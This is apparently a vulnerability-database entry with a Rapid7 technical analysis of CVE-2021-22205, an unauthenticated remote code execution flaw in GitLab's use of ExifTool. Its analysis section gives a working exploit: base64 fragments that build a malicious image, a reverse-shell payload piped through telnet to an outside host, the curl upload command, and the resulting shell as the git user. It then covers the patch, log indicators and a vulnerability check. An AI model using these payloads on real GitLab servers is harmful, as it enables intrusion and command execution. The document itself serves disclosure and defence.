Attacker Value
Very High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
None
Privileges Required
Low
Attack Vector
Network
2

CVE-2021-22205

Disclosure Date: April 23, 2021
Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Collection
Techniques
Validation
Validated
Impact
Techniques
Validation
Validated
Validated
Validated
Validated
Validated
Validated
Initial Access
Techniques
Validation
Validated
Validated
Lateral Movement
Techniques
Validation
Validated
Validated

Description

An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution.

Add Assessment

2
Ratings
Technical Analysis

CVE-2021-22205 was originally disclosed as an authenticated vulnerability. However, deeper inspection shows that the vulnerability can be exploited without authentication and is trivial to weaponize. For full analysis see the Rapid7 Analysis.

CVSS V3 Severity and Metrics
Base Score:
9.9 Critical
Impact Score:
6
Exploitability Score:
3.1
Vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
Low
User Interaction (UI):
None
Scope (S):
Changed
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Vendors

  • GitLab

Products

  • GitLab

Exploited in the Wild

Reported by:

Additional Info

Technical Analysis

Description

On April 14, 2021, GitLab published a security release to address CVE-2021-22205, a critical remote code execution vulnerability in the service’s web interface. At the time, GitLab described the issue as an authenticated vulnerability that was the result of passing user-provided images to the service’s embedded version of ExifTool. A remote attacker could execute arbitrary commands as the git user due to ExifTool’s mishandling of DjVu files, an issue that was later assigned CVE-2021-22204.

GitLab assigned this issue CVE-2021-22205 and provided a CVSSv3 score of 9.9. However, on September 21, 2021 GitLab revised the CVSSv3 score to 10.0. The increase in score was the result of changing the vulnerability from an authenticated issue to an unauthenticated issue. Despite the tiny move in CVSS score, a change from authenticated to unauthenticated has big implications for defenders.

There are multiple recently published public exploits for this vulnerability and it reportedly has been exploited in the wild since June or July of 2021. We expect exploitation to increase as details of the unauthenticated nature of this vulnerability become more widely understood.

Affected products

According to GitLab’s April 2021 advisory, CVE-2021-22205 affects all versions of both GitLab Enterprise Edition (EE) and GitLab Community Edition (CE) starting from 11.9. The vulnerability was patched in the following versions:

  • 13.10.3
  • 13.9.6
  • 13.8.8

Rapid7 analysis

Attack Path & Exploit

The confusion around the privilege required to exploit this vulnerability is odd. Unauthenticated and remote users have been and still are able to reach execution of ExifTool via GitLab by design. Specifically HandleFileUploads in uploads.go is called from a couple of PreAuthorizeHandler contexts allowing the HandleFileUploads logic, which calls down to rewrite.go and exif.go, to execute before authentication.

The fall-out of this design decision is interesting in that an attacker needs none of the following:

  • Authentication
  • A CSRF token
  • A valid HTTP endpoint

As such, the following curl command is sufficient to reach, and exploit, ExifTool:

curl -v -F 'file=@echo_vakzz.jpg' http://10.0.0.8/$(openssl rand -hex 8)

In the example above, I reference echo_vakzz.jpg which is the original exploit provided by @wcbowling in their HackerOne disclosure to GitLab. The file is a DjVu image that tricks ExifTool into calling eval on user provided text embedded in the image. Technically speaking, this is an entirely separate issue in ExifTool. @wcbowling provides an excellent explanation here.

But for the purpose of GitLab exploitation, now that we know how easy it is to reach ExifTool, it’s only important to know how to generate a payload. A very simple method was posted on the OSS-Security mailing list by Jakub Wilk back in May, but it is character-limiting. So here is a reverse shell that reaches out to 10.0.0.3:1270, made by building off of @wcbowling’s original exploit.

albinolobster@ubuntu:~$ echo -e "QVQmVEZPUk0AAAOvREpWTURJUk0AAAAugQACAAAARgAAAKz//96/mSAhyJFO6wwHH9LaiOhr5kQPLHEC7knTbpW9osMiP0ZPUk0AAABeREpWVUlORk8AAAAKAAgACBgAZAAWAElOQ0wAAAAPc2hhcmVkX2Fubm8uaWZmAEJHNDQAAAARAEoBAgAIAAiK5uGxN9l/KokAQkc0NAAAAAQBD/mfQkc0NAAAAAICCkZPUk0AAAMHREpWSUFOVGEAAAFQKG1ldGFkYXRhCgkoQ29weXJpZ2h0ICJcCiIgLiBxeHs=" | base64 -d > lol.jpg
albinolobster@ubuntu:~$ echo -n 'TF=$(mktemp -u);mkfifo $TF && telnet 10.0.0.3 1270 0<$TF | sh 1>$TF' >> lol.jpg
albinolobster@ubuntu:~$ echo -n "fSAuIFwKIiBiICIpICkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCg==" | base64 -d >> lol.jpg

We can substitute the generated lol.jpg into the curl command like so:

albinolobster@ubuntu:~/Downloads$ curl -v -F 'file=@lol.jpg' http://10.0.0.7/$(openssl rand -hex 8)
*   Trying 10.0.0.7...
* Connected to 10.0.0.7 (10.0.0.7) port 80 (#0)
> POST /e7c6305189bc5bd5 HTTP/1.1
> Host: 10.0.0.7
> User-Agent: curl/7.47.0
> Accept: */*
> Content-Length: 912
> Expect: 100-continue
> Content-Type: multipart/form-data; boundary=------------------------ae83551d0544c303
>
< HTTP/1.1 100 Continue

The resulting reverse shell looks like the following:

albinolobster@ubuntu:~$ nc -lnvp 1270
Listening on [0.0.0.0] (family 0, port 1270)
Connection from [10.0.0.7] port 1270 [tcp/*] accepted (family 2, sport 34836)
whoami
git
id
uid=998(git) gid=998(git) groups=998(git)

About the Patch

As noted earlier, GitLab did not make any changes to prevent unauthenticated and remote attackers from reaching ExifTool. However, they did add additional validation on the user provided image. Most notably, this commit added the function isTIFF and isJPEG to verify the payload is actually an image file. The user provided TIFF image gets a full decode whereas a JPEG gets passed to the Go http library’s DetectContentType function.

func isTIFF(r io.Reader) bool {
	_, err := tiff.Decode(r)
	if err == nil {
		return true
	}

	if _, unsupported := err.(tiff.UnsupportedError); unsupported {
		return true
	}

	return false
}

func isJPEG(r io.Reader) bool {
	// Only the first 512 bytes are used to sniff the content type.
	buf, err := ioutil.ReadAll(io.LimitReader(r, 512))
	if err != nil {
		return false
	}

	return http.DetectContentType(buf) == "image/jpeg"
}

Also, importantly, a patched version of ExifTool is now included with GitLab.

Exposure and Mitigation Guidance

To determine if you’ve been affected by this vulnerability, examine the gitlab-workhorse log. On Ubuntu that’s located in /var/log/syslog/gitlab/gitlab-workhorse/. Here is example output that our reverse shell generated:

{"command":["exiftool","-all=","--IPTC:all","--XMP-iptcExt:all","-tagsFromFile","@","-ResolutionUnit","-XResolution","-YResolution","-YCbCrSubSampling","-YCbCrPositioning","-BitsPerSample","-ImageHeight","-ImageWidth","-ImageSize","-Copyright","-CopyrightNotice","-Orientation","-"],"correlation_id":"01FKBH8HB3A5YR8S7PYYB5A8SN","error":"signal: killed","level":"info","msg":"exiftool command failed","stderr":"sh: 1: Trying: not found\nsh: 2: Connected: not found\nsh: 3: Escape: not found\nConnection closed by foreign host.\n","time":"2021-10-31T11:07:18-07:00"}
{"correlation_id":"01FKBH8HB3A5YR8S7PYYB5A8SN","error":"error while removing EXIF","level":"error","method":"POST","msg":"","time":"2021-10-31T11:07:18-07:00","uri":"/e7c6305189bc5bd5"}
{"content_type":"text/html; charset=utf-8","correlation_id":"01FKBH8HB3A5YR8S7PYYB5A8SN","duration_ms":7636442,"host":"10.0.0.7","level":"info","method":"POST","msg":"access","proto":"HTTP/1.1","referrer":"","remote_addr":"127.0.0.1:0","remote_ip":"127.0.0.1","route":"","status":422,"system":"http","time":"2021-10-31T11:07:18-07:00","ttfb_ms":7636436,"uri":"/e7c6305189bc5bd5","user_agent":"curl/7.47.0","written_bytes":2936}

Note that the patched version of GitLab will also have gitlab-workhorse logs on attempted exploitation attempts. They’ll look something like this:

{"correlation_id":"01FKC13E1EE91VWC0B9M16YF58","filename":"test.jpeg","imageType":1,"level":"info","msg":"invalid content type, not running exiftool","time":"2021-10-31T13:36:52-07:00"}

You can also find something like the following in /var/log/gitlab/nginx/gitlab_access.log but since requests can be POSTed to arbitrary endpoints, it might not be very useful.

Finally, it’s possible to determine if a remote GitLab instance is vulnerable based on it’s
response to a POST request. For example:

albinolobster@ubuntu:~$ echo lollol > test.jpeg
albinolobster@ubuntu:~$ curl -v -F 'file=**[@test](/contributors/test)**.jpeg' http://10.0.0.7/$(openssl rand -hex 8)

The unpatched version will respond with an HTTP 422 response and some text indicating “*The change you requested was rejected.*” The patched version of GitLab will respond with an HTTP 404 response and text indicating “*The page could not be found…*”.

GitLab users should upgrade to the latest version of GitLab as soon as possible. Ideally, GitLab should not be an internet facing service. If you need to access your GitLab from the internet, consider placing it behind a VPN.

Related Links